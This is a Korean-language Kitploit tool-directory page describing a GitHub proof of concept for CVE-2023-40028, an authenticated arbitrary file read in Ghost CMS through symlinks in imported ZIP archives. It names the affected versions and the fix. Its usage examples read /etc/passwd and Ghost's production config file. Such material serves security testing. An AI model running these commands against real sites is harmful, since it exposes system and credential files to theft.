Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-40028 — CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기 | Kitploit
도구/GitHubGitHub/godylockz/cve-2023-40028
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기

저장소 보기
22129일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-40028: Ghost 임의 파일 읽기

Ghost의 콘텐츠 가져오기 기능에서 발생하는 인증된 임의 파일 읽기 취약점인 CVE-2023-40028에 대한 개념 증명입니다. 조작된 ZIP 아카이브가 content/images 아래에 심볼릭 링크를 생성하여, 스크립트가 Ghost 호스트로부터 파일을 요청할 수 있게 합니다.

Ghost 5.59.1 이전 버전이 영향을 받습니다. 5.59.1 이상으로 업그레이드하십시오.

본인 소유이거나 테스트 권한이 부여된 시스템에만 사용하십시오.

요구 사항

  • Python 3
  • requests
  • Ghost 관리자 자격 증명 또는 유효한 ghost-admin-api-session 쿠키
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

사용법

사용자 이름과 비밀번호로 파일 하나를 읽습니다:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

기존 관리자 세션 쿠키를 사용합니다:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

--file을 생략하면 대화형 file> 프롬프트가 열립니다. 프록시, 타임아웃, User-Agent 옵션은 python3 ghost_fileread.py --help를 실행하십시오.

이 엔드포인트는 텍스트를 반환하므로, 이 도구는 텍스트 파일용으로 설계되었습니다. 조작된 아카이브를 가져오면 대상의 content/images 디렉터리에 심볼릭 링크가 남습니다.

참고 자료

  • GitHub advisory: CVE-2023-40028
  • Ghost fix
도구 다운로드